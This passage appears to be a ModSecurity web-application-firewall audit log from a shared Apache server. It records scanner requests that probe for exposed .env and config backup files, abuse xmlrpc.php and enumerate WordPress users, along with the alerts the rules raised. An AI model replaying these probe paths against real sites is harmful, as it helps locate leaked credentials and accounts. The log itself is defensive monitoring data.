"CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/.qmake.conf"] [unique_id "aE9vPvbo0R64L12N_alZuwAAAAQ"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750036286145275 670931 (- - -) Stopwatch2: 1750036286145275 670931; combined=1944, p1=335, p2=1510, p3=0, p4=0, p5=98, sr=94, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --22d6711e-Z-- --61c2e173-A-- [16/Jun/2025:06:41:27.049166 +0530] aE9vPrwLQO_9qxz2deDF-wAAAAw 128.199.112.101 47710 127.0.0.1 7081 --61c2e173-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 495 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --61c2e173-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --61c2e173-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (49+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (49+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE9vPrwLQO_9qxz2deDF-wAAAAw"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750036286094027 955196 (- - -) Stopwatch2: 1750036286094027 955196; combined=2611, p1=454, p2=1756, p3=42, p4=57, p5=187, sr=115, sw=115, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --61c2e173-Z-- --76a73e3d-A-- [16/Jun/2025:06:41:42.861389 +0530] aE9vTvv_9qNKLXJRkuZbvQAAAAs 185.177.72.210 38256 127.0.0.1 7081 --76a73e3d-B-- GET /:8181/new/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --76a73e3d-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=513e18288b8bb58d35ef4d64fd0280271750036302; expires=Mon, 16 Jun 2025 02:11:42 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --76a73e3d-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8181/new/.env"] [unique_id "aE9vTvv_9qNKLXJRkuZbvQAAAAs"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750036302211639 649814 (- - -) Stopwatch2: 1750036302211639 649814; combined=1616, p1=361, p2=1157, p3=0, p4=0, p5=97, sr=85, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --76a73e3d-Z-- --4f7f8e01-A-- [16/Jun/2025:06:41:49.266589 +0530] aE9vVOhCUAahT1nBjTYLkQAAAAM 185.177.72.210 38600 127.0.0.1 7081 --4f7f8e01-B-- GET /:10000/mail/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --4f7f8e01-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=fa837223c3244d3cf59ac7855a7a58f81750036309; expires=Mon, 16 Jun 2025 02:11:49 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --4f7f8e01-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:10000/mail/.env"] [unique_id "aE9vVOhCUAahT1nBjTYLkQAAAAM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750036308570436 696271 (- - -) Stopwatch2: 1750036308570436 696271; combined=1939, p1=371, p2=1452, p3=0, p4=0, p5=115, sr=84, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --4f7f8e01-Z-- --91571c78-A-- [16/Jun/2025:06:42:12.576504 +0530] aE9va5LRu31pT8F-J2ZRHwAAAAc 185.177.72.210 58056 127.0.0.1 7081 --91571c78-B-- GET /journal/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --91571c78-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=01d96589b8fbf5516f4779f4594c1cbb1750036332; expires=Mon, 16 Jun 2025 02:12:12 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --91571c78-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/journal/.env"] [unique_id "aE9va5LRu31pT8F-J2ZRHwAAAAc"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750036331922749 653817 (- - -) Stopwatch2: 1750036331922749 653817; combined=2040, p1=478, p2=1416, p3=0, p4=0, p5=145, sr=133, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --91571c78-Z-- --420a2e1f-A-- [16/Jun/2025:06:42:13.608288 +0530] aE9vbPv_9qNKLXJRkuZbygAAAAs 185.177.72.210 58102 127.0.0.1 7081 --420a2e1f-B-- GET /:10000/backup/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --420a2e1f-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=fab853ca5656296aab7d25e43c5aa7b61750036333; expires=Mon, 16 Jun 2025 02:12:13 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --420a2e1f-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:10000/backup/.env"] [unique_id "aE9vbPv_9qNKLXJRkuZbygAAAAs"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750036332924016 684335 (- - -) Stopwatch2: 1750036332924016 684335; combined=1859, p1=392, p2=1376, p3=0, p4=0, p5=90, sr=102, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --420a2e1f-Z-- --b8e76944-A-- [16/Jun/2025:06:42:23.187076 +0530] aE9vdvvF1ly0gx5reNl_PwAAAAE 85.204.70.104 52670 127.0.0.1 7081 --b8e76944-B-- GET //wp-json/wp/v2/users/ HTTP/1.0 Host: www.bspsons.com X-Real-IP: 85.204.70.104 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36 --b8e76944-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 X-Robots-Tag: noindex Link: <https://www.bspsons.com/wp-json/>; rel="https://api.w.org/" X-Content-Type-Options: nosniff Access-Control-Expose-Headers: X-WP-Total, X-WP-TotalPages, Link Access-Control-Allow-Headers: Authorization, X-WP-Nonce, Content-Disposition, Content-MD5, Content-Type X-WP-Total: 1 X-WP-TotalPages: 1 Allow: GET Vary: Origin Connection: close Content-Type: application/json; charset=UTF-8 --b8e76944-H-- Message: Warning. Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/etc/apache2/modsecurity.d/rules/comodo_free/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||www.bspsons.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/etc/apache2/modsecurity.d/rules/comodo_free/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||www.bspsons.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "www.bspsons.com"] [uri "/wp-json/wp/v2/users/"] [unique_id "aE9vdvvF1ly0gx5reNl_PwAAAAE"] Apache-Handler: proxy:unix:/var/www/vhosts/system/bspsons.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750036342717952 469218 (- - -) Stopwatch2: 1750036342717952 469218; combined=2471, p1=439, p2=1920, p3=0, p4=0, p5=111, sr=127, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --b8e76944-Z-- --294c3f23-A-- [16/Jun/2025:06:42:27.265584 +0530] aE9veg9THibLN0xLxET1QQAAAAk 128.199.112.101 52838 127.0.0.1 7081 --294c3f23-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 491 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --294c3f23-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --294c3f23-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (49+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (49+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE9veg9THibLN0xLxET1QQAAAAk"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750036346331656 933982 (- - -) Stopwatch2: 1750036346331656 933982; combined=2585, p1=451, p2=1746, p3=44, p4=69, p5=170, sr=119, sw=105, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --294c3f23-Z-- --f87b1338-A-- [16/Jun/2025:06:42:53.562898 +0530] aE9vlIkQyF8-ounHsxsDYgAAAA8 185.177.72.210 39246 127.0.0.1 7081 --f87b1338-B-- GET /:8080/env/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --f87b1338-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=1534b3eb34cf28ad8eeac1c11aa17ef31750036373; expires=Mon, 16 Jun 2025 02:12:53 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --f87b1338-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8080/env/.env"] [unique_id "aE9vlIkQyF8-ounHsxsDYgAAAA8"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750036372879872 683125 (- - -) Stopwatch2: 1750036372879872 683125; combined=2701, p1=550, p2=2031, p3=0, p4=0, p5=120, sr=120, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --f87b1338-Z-- --00118c2e-A-- [16/Jun/2025:06:42:59.528667 +0530] aE9vmkh9JdcgdehWSMCdLwAAAAg 185.177.72.210 39422 127.0.0.1 7081 --00118c2e-B-- GET /:8443/vendor/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --00118c2e-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=a104adf6603f8f378fba4ca7e724851c1750036379; expires=Mon, 16 Jun 2025 02:12:59 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --00118c2e-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8443/vendor/.env"] [unique_id "aE9vmkh9JdcgdehWSMCdLwAAAAg"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750036378869700 659031 (- - -) Stopwatch2: 1750036378869700 659031; combined=2081, p1=435, p2=1545, p3=0, p4=0, p5=101, sr=99, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --00118c2e-Z-- --208c534f-A-- [16/Jun/2025:06:43:09.524222 +0530] aE9vpPv_9qNKLXJRkuZb8AAAAAs 185.177.72.210 52970 127.0.0.1 7081 --208c534f-B-- GET /saas/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --208c534f-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=3375b4a93e9c8002df7df3627a4b038d1750036389; expires=Mon, 16 Jun 2025 02:13:09 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --208c534f-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/saas/.env"] [unique_id "aE9vpPv_9qNKLXJRkuZb8AAAAAs"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750036388831110 693202 (- - -) Stopwatch2: 1750036388831110 693202; combined=2104, p1=459, p2=1540, p3=0, p4=0, p5=104, sr=112, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --208c534f-Z-- --0d3d8755-A-- [16/Jun/2025:06:43:10.832184 +0530] aE9vproFnONBt7jRcBySUwAAAA4 185.177.72.210 54126 127.0.0.1 7081 --0d3d8755-B-- GET /settings/config.php.old HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --0d3d8755-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=fc72e9313d0a562cc564333b1d1691cd1750036390; expires=Mon, 16 Jun 2025 02:13:10 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --0d3d8755-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".php.old"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".php.old"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/settings/config.php.old"] [unique_id "aE9vproFnONBt7jRcBySUwAAAA4"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750036390122247 710022 (- - -) Stopwatch2: 1750036390122247 710022; combined=1710, p1=317, p2=1273, p3=0, p4=0, p5=119, sr=92, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --0d3d8755-Z-- --a5d38558-A-- [16/Jun/2025:06:43:18.353685 +0530] aE9vrfbo0R64L12N_alZ-AAAAAQ 185.177.72.210 54396 127.0.0.1 7081 --a5d38558-B-- GET /storage/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --a5d38558-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=cf5f6ea5376b6466dd1346876c87096e1750036398; expires=Mon, 16 Jun 2025 02:13:18 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --a5d38558-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/storage/.env"] [unique_id "aE9vrfbo0R64L12N_alZ-AAAAAQ"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750036397656732 697023 (- - -) Stopwatch2: 1750036397656732 697023; combined=1921, p1=374, p2=1463, p3=0, p4=0, p5=84, sr=96, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --a5d38558-Z-- --0efb4c49-A-- [16/Jun/2025:06:43:21.949206 +0530] aE9vsfvF1ly0gx5reNl_YgAAAAE 185.177.72.210 51486 127.0.0.1 7081 --0efb4c49-B-- GET /:10000/base/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --0efb4c49-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=4b1905974faf4e9c1d0ad484675ca8d21750036401; expires=Mon, 16 Jun 2025 02:13:21 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --0efb4c49-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:10000/base/.env"] [unique_id "aE9vsfvF1ly0gx5reNl_YgAAAAE"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750036401258286 690983 (- - -) Stopwatch2: 1750036401258286 690983; combined=2494, p1=477, p2=1927, p3=0, p4=0, p5=89, sr=122, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --0efb4c49-Z-- --7e96db4e-A-- [16/Jun/2025:06:43:24.929944 +0530] aE9vtPvF1ly0gx5reNl_bwAAAAE 185.177.72.210 52508 127.0.0.1 7081 --7e96db4e-B-- GET /:8080/frontend/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 